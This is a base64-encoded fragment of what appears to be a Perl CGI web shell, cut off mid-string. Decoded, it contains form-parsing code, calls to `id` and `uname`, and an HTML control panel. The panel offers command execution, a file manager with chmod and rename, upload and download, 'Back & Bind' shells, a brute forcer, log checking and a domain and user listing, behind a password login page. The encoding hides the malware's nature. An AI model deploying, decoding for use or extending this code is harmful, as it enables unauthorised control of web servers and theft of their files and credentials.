CgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7DQoJCSRIZWFkZXIgPX4gL2ZpbGVuYW1lPVwiKC4rKVwiLzsgDQoJCSRpbnsnZid9ID0gJDE7IA0KCQkkaW57J2YnfSA9fiBzL1wiLy9nOw0KCQkkaW57J2YnfSA9fiBzL1xzLy9nOw0KDQoJCSMgcGFyc2UgdHJhaWxlcg0KCQlmb3IoJGk9MjsgJGxpc3RbJGldOyAkaSsrKQ0KCQl7IA0KCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87DQoJCQkkbGlzdFskaV0gPX4gL1wiKFx3KylcIi87DQoJCQkka2V5ID0gJDE7DQoJCQkkdmFsID0gJCc7DQoJCQkkdmFsID1+IHMvKF4oXHJcblxyXG58XG5cbikpfChcclxuJHxcbiQpLy9nOw0KCQkJJHZhbCA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSRpbnska2V5fSA9ICR2YWw7IA0KCQl9DQoJfQ0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQ0KCXsNCgkJQGluID0gc3BsaXQoLyYvLCAkaW4pOw0KCQlmb3JlYWNoICRpICgwIC4uICQjaW4pDQoJCXsNCgkJCSRpblskaV0gPX4gcy9cKy8gL2c7DQoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOw0KCQkJJGtleSA9fiBzLyUoLi4pL3BhY2soImMiLCBoZXgoJDEpKS9nZTsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsNCgkJCSRpbnska2V5fSAuPSAkdmFsOw0KCQl9DQoJfQ0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBmdW5jdGlvbiBFbmNvZGVEaXI6IGVuY29kZSBiYXNlNjQgUGF0aA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEVuY29kZURpcg0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCgkkZGlyID0gdHJpbShlbmNvZGVfYmFzZTY0KCRkaXIpKTsNCgkkZGlyID1+IHMvKFxyfFxuKS8vOw0KCXJldHVybiAkZGlyOw0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgUGFnZSBIZWFkZXINCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUhlYWRlcg0Kew0KCSRFbmNvZGVDdXJyZW50RGlyID0gRW5jb2RlRGlyKCRDdXJyZW50RGlyKTsNCglteSAkaWQgPSBgaWRgIGlmKCEkV2luTlQpOw0KCW15ICRpbmZvID0gYHVuYW1lIC1zIC1uIC1yIC1pYDsNCglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCglwcmludCA8PEVORDsNCjxodG1sPg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJjb250ZW50LXR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCI+DQo8dGl0bGU+by0tLVsgJFZlcnNpb24gXTwvdGl0bGU+DQokSHRtbE1ldGFIZWFkZXINCjwvaGVhZD4NCjxzdHlsZT4NCmJvZHl7DQpmb250OiAxMHB0IFZlcmRhbmE7DQpjb2xvcjogI2ZmZjsNCn0NCnRyLHRkLHRhYmxlLGlucHV0LHRleHRhcmVhIHsNCkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLVRPUDogICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOw0KfQ0KI2RvbWFpbiB0cjpob3ZlcnsNCmJhY2tncm91bmQtY29sb3I6ICM0NDQ7DQp9DQp0ZCB7DQpjb2xvcjogIzJCQThFQzsNCn0NCi5saXN0ZGlyIHRkew0KCXRleHQtYWxpZ246IGNlbnRlcjsNCn0NCi5saXN0ZGlyIHRoew0KCWNvbG9yOiAjRkY5OTAwOw0KfQ0KLmRpciwuZmlsZQ0Kew0KCXRleHQtYWxpZ246IGxlZnQgIWltcG9ydGFudDsNCn0NCi5kaXJ7DQoJZm9udC1zaXplOiAxMHB0OyANCglmb250LXdlaWdodDogYm9sZDsNCn0NCnRhYmxlIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7DQp9DQppbnB1dCB7DQpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsNCmNvbG9yOiAjZmY5OTAwOw0KfQ0KaW5wdXQuc3VibWl0IHsNCnRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCmNvbG9yOiAjRkZGRkZGOw0KYm9yZGVyLWNvbG9yOiAjMDA5OTAwOw0KfQ0KY29kZSB7DQpib3JkZXI6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiB3aGlsZTsNCn0NCnJ1biB7DQpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsNCmNvbG9yOiAjRkYwMEFBOw0KfQ0KdGV4dGFyZWEgew0KQkFDS0dST1VORC1DT0xPUjogIzFiMWIxYjsNCmZvbnQ6IEZpeGVkc3lzIGJvbGQ7DQpjb2xvcjogI2FhYTsNCn0NCkE6bGluayB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTp2aXNpdGVkIHsNCglDT0xPUjogIzJCQThFQzsgVEVYVC1ERUNPUkFUSU9OOiBub25lDQp9DQpBOmhvdmVyIHsNCgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQoJY29sb3I6ICNGRkZGRkY7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTphY3RpdmUgew0KCWNvbG9yOiBSZWQ7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KLmxpc3RkaXIgdHI6aG92ZXJ7DQoJYmFja2dyb3VuZDogIzQ0NDsNCn0NCi5saXN0ZGlyIHRyOmhvdmVyIHRkew0KCWJhY2tncm91bmQ6ICM0NDQ7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmU7DQp9DQoubm90bGluZXsNCgliYWNrZ3JvdW5kOiAjMTExOw0KfQ0KLmxpbmV7DQoJYmFja2dyb3VuZDogIzIyMjsNCn0NCjwvc3R5bGU+DQo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCmZ1bmN0aW9uIEVuY29kZXIobmFtZSkNCnsNCgl2YXIgZSA9ICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChuYW1lKTsNCgllLnZhbHVlID0gYnRvYShlLnZhbHVlKTsNCglyZXR1cm4gdHJ1ZTsNCn0NCmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQ0Kew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlUGVybXNfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBpZD10ZXh0XyIgKyBpICsgIiAgbmFtZT1jaG1vZCB0eXBlPXRleHQgc2l6ZT01IC8+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX2NobW9kX2Zvcm0ocmVzcG9uc2UsaSxwZXJtcyxmaWxlKQ0Kew0KCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOw0KfQ0KZnVuY3Rpb24gcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJZi5yZXBsYWNlKC9cXFxcL2csIlxcXFxcXFxcIik7DQoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9cmVuYW1lIHR5cGU9dGV4dCB2YWx1ZT0gJyIrZmlsZSsiJyAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckRW5jb2RlQ3VycmVudERpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOw0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJ0ZXh0XyIgKyBpKS5mb2N1cygpOw0KfQ0KZnVuY3Rpb24gcm1fcmVuYW1lX2Zvcm0oaSxmaWxlLGYpDQp7DQoJaWYoZj09J2YnKQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOw0KCX1lbHNlDQoJew0KCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7DQoJfQ0KfQ0KPC9zY3JpcHQ+DQo8Ym9keSBvbkxvYWQ9ImRvY3VtZW50LmYuQF8uZm9jdXMoKSIgYmdjb2xvcj0iIzBjMGMwYyIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxjZW50ZXI+PGNvZGU+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCgk8dGQgYWxpZ249ImNlbnRlciIgcm93c3Bhbj0zPg0KCQk8Yj48Zm9udCBzaXplPSIzIj5vLS0tWyAgJEVkaXRQZXJzaW9uIF0tLS1vPC9mb250PjwvYj4NCgk8L3RkPg0KCTx0ZD4NCgkJJGluZm8NCgk8L3RkPg0KCTx0ZD5TZXJ2ZXIgSVA6PGZvbnQgY29sb3I9IiNmZjk5MDAiPiAkRU5WeydTRVJWRVJfQUREUid9PC9mb250PiB8IFlvdXIgSVA6IDxmb250IGNvbG9yPSIjZmY5OTAwIj4kRU5WeydSRU1PVEVfQUREUid9PC9mb250Pg0KCTwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uIj5Ib21lPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y29tbWFuZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5Db21tYW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1ndWkmZD0kRW5jb2RlQ3VycmVudERpciI+R1VJPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPlVwbG9hZCBGaWxlPC9hPiB8IA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlQ3VycmVudERpciI+RG93bmxvYWQgRmlsZTwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YmFja2JpbmQiPkJhY2sgJiBCaW5kPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1icnV0ZWZvcmNlciI+QnJ1dGUgRm9yY2VyPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1jaGVja2xvZyI+Q2hlY2sgTG9nPC9hPiB8DQo8YSBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT1kb21haW5zdXNlciI+RG9tYWlucy9Vc2VyczwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5Mb2dvdXQ8L2E+IHwNCjxhIHRhcmdldD0nX2JsYW5rJyBocmVmPSIjIj5IZWxwPC9hPg0KPC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiI+DQokaWQNCjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxmb250IGlkPSJSZXNwb25zZURhdGEiIGNvbG9yPSIjRkZGRkZGIiA+DQpFTkQNCn0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBMb2dpbiBTY3JlZW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luU2NyZWVuDQp7DQoJcHJpbnQgPDxFTkQ7DQo8cHJlPjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NClR5cGluZ1RleHQgPSBmdW5jdGlvbihlbGVtZW50LCBpbnRlcnZhbCwgY3Vyc29yLCBmaW5pc2hlZENhbGxiYWNrKSB7DQogIGlmKCh0eXBlb2YgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQgPT0gInVuZGVmaW5lZCIpIHx8ICh0eXBlb2YgZWxlbWVudC5pbm5lckhUTUwgPT0gInVuZGVmaW5lZCIpKSB7DQogICAgdGhpcy5ydW5uaW5nID0gdHJ1ZTsJLy8gTmV2ZXIgcnVuLg0KICAgIHJldHVybjsNCiAgfQ0KICB0aGlzLmVsZW1lbnQgPSBlbGVtZW50Ow0KICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2sgPSAoZmluaXNoZWRDYWxsYmFjayA/IGZpbmlzaGVkQ2FsbGJhY2sgOiBmdW5jdGlvbigpIHsgcmV0dXJuOyB9KTsNCiAgdGhpcy5pbnRlcnZhbCA9ICh0eXBlb2YgaW50ZXJ2YWwgPT0gInVuZGVmaW5lZCIgPyAxMDAgOiBpbnRlcnZhbCk7DQogIHRoaXMub3JpZ1RleHQgPSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MOw0KICB0aGlzLnVucGFyc2VkT3JpZ1RleHQgPSB0aGlzLm9yaWdUZXh0Ow0KICB0aGlzLmN1cnNvciA9IChjdXJzb3IgPyBjdXJzb3IgOiAiIik7DQogIHRoaXMuY3VycmVudFRleHQgPSAiIjsNCiAgdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogIHRoaXMuZWxlbWVudC50eXBpbmdUZXh0ID0gdGhpczsNCiAgaWYodGhpcy5lbGVtZW50LmlkID09ICIiKSB0aGlzLmVsZW1lbnQuaWQgPSAidHlwaW5ndGV4dCIgKyBUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCsrOw0KICBUeXBpbmdUZXh0LmFsbC5wdXNoKHRoaXMpOw0KICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgdGhpcy5pblRhZyA9IGZhbHNlOw0KICB0aGlzLnRhZ0J1ZmZlciA9ICIiOw0KICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiIjsNCn0NClR5cGluZ1RleHQuYWxsID0gbmV3IEFycmF5KCk7DQpUeXBpbmdUZXh0LmN1cnJlbnRJbmRleCA9IDA7DQpUeXBpbmdUZXh0LnJ1bkFsbCA9IGZ1bmN0aW9uKCkgew0KICBmb3IodmFyIGkgPSAwOyBpIDwgVHlwaW5nVGV4dC5hbGwubGVuZ3RoOyBpKyspIFR5cGluZ1RleHQuYWxsW2ldLnJ1bigpOw0KfQ0KVHlwaW5nVGV4dC5wcm90b3R5cGUucnVuID0gZnVuY3Rpb24oKSB7DQogIGlmKHRoaXMucnVubmluZykgcmV0dXJuOw0KICBpZih0eXBlb2YgdGhpcy5vcmlnVGV4dCA9PSAidW5kZWZpbmVkIikgew0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsJLy8gV2UgaGF2ZW4ndCBmaW5pc2hlZCBsb2FkaW5nIHlldC4gIEhhdmUgcGF0aWVuY2UuDQogICAgcmV0dXJuOw0KICB9DQogIGlmKHRoaXMuY3VycmVudFRleHQgPT0gIiIpIHRoaXMuZWxlbWVudC5pbm5lckhUTUwgPSAiIjsNCi8vICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dC5yZXBsYWNlKC88KFtePF0pKj4vLCAiIik7ICAgICAvLyBTdHJpcCBIVE1MIGZyb20gdGV4dC4NCiAgaWYodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoKSB7DQogICAgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIjwiICYmICF0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciA9ICI8IjsNCiAgICAgIHRoaXMuaW5UYWcgPSB0cnVlOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcikgPT0gIj4iICYmIHRoaXMuaW5UYWcpIHsNCiAgICAgIHRoaXMudGFnQnVmZmVyICs9ICI+IjsNCiAgICAgIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgICAgIHRoaXMuY3VycmVudFRleHQgKz0gdGhpcy50YWdCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICImIiAmJiAhdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciA9ICImIjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI7IiAmJiB0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9ICI7IjsNCiAgICAgIHRoaXMuaW5IVE1MRW50aXR5ID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMuSFRNTEVudGl0eUJ1ZmZlcjsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSB7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgIH0NCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gdGhpcy5jdXJyZW50VGV4dDsNCiAgICB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MICs9ICh0aGlzLmN1cnJlbnRDaGFyIDwgdGhpcy5vcmlnVGV4dC5sZW5ndGggLSAxID8gKHR5cGVvZiB0aGlzLmN1cnNvciA9PSAiZnVuY3Rpb24iID8gdGhpcy5jdXJzb3IodGhpcy5jdXJyZW50VGV4dCkgOiB0aGlzLmN1cnNvcikgOiAiIik7DQogICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgIHNldFRpbWVvdXQoImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCciICsgdGhpcy5lbGVtZW50LmlkICsgIicpLnR5cGluZ1RleHQucnVuKCkiLCB0aGlzLmludGVydmFsKTsNCiAgfSBlbHNlIHsNCgl0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQoJdGhpcy5jdXJyZW50Q2hhciA9IDA7DQogICAgICAgIHRoaXMucnVubmluZyA9IGZhbHNlOw0KICAgICAgICB0aGlzLmZpbmlzaGVkQ2FsbGJhY2soKTsNCiAgfQ0KfQ0KPC9zY3JpcHQ+DQo8L3ByZT4NCg0KPGJyPg0KDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpuZXcgVHlwaW5nVGV4dChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiaGFjayIpLCAzMCwgZnVuY3Rpb24oaSl7IHZhciBhciA9IG5ldyBBcnJheSgiXyIsIiIpOyByZXR1cm4gIiAiICsgYXJbaS5sZW5ndGggJSBhci5sZW5ndGhdOyB9KTsNClR5cGluZ1RleHQucnVuQWxsKCk7DQoNCjwvc2NyaXB0Pg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGVuY29kZSBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBVcmxFbmNvZGUoJCl7DQoJbXkgJHN0ciA9IHNoaWZ0Ow0KCSRzdHIgPX4gcy8oW15BLVphLXowLTldKS9zcHJpbnRmKCIlJSUwMlgiLCBvcmQoJDEpKS9zZWc7DQoJcmV0dXJuICRzdHI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEFkZCBodG1sIHNwZWNpYWwgY2hhcnMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBIdG1sU3BlY2lhbENoYXJzKCQpew0KCW15ICR0ZXh0ID0gc2hpZnQ7DQoJJHRleHQgPX4gcy8mLyZhbXA7L2c7DQoJJHRleHQgPX4gcy8iLyZxdW90Oy9nOw0KCSR0ZXh0ID1+IHMvJy8mIzAzOTsvZzsNCgkkdGV4dCA9fiBzLzwvJmx0Oy9nOw0KCSR0ZXh0ID1+IHMvPi8mZ3Q7L2c7DQoJcmV0dXJuICR0ZXh0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBBZGQgbGluayBmb3IgZGlyZWN0b3J5DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQWRkTGlua0RpcigkKQ0Kew0KCW15ICRhYz1zaGlmdDsNCglteSBAZGlyPSgpOw0KCWlmKCRXaW5OVCkNCgl7DQoJCUBkaXI9c3BsaXQoL1xcLywkQ3VycmVudERpcik7DQoJfWVsc2UNCgl7DQoJCUBkaXI9c3BsaXQoIi8iLCZ0cmltKCRDdXJyZW50RGlyKSk7DQoJfQ0KCW15ICRwYXRoPSIiOw0KCW15ICRyZXN1bHQ9IiI7DQoJZm9yZWFjaCAoQGRpcikNCgl7DQoJCSRwYXRoIC49ICRfLiRQYXRoU2VwOw0KCQkkcmVzdWx0Lj0iPGEgaHJlZj0nP2E9Ii4kYWMuIiZkPSIuZW5jb2RlX2Jhc2U2NCgkcGF0aCkuIic+Ii4kXy4kUGF0aFNlcC4iPC9hPiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIG1lc3NhZ2UgdGhhdCBpbmZvcm1zIHRoZSB1c2VyIG9mIGEgZmFpbGVkIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpbkZhaWxlZE1lc3NhZ2UNCnsNCglwcmludCA8PEVORDsNCg0KDQpQYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvb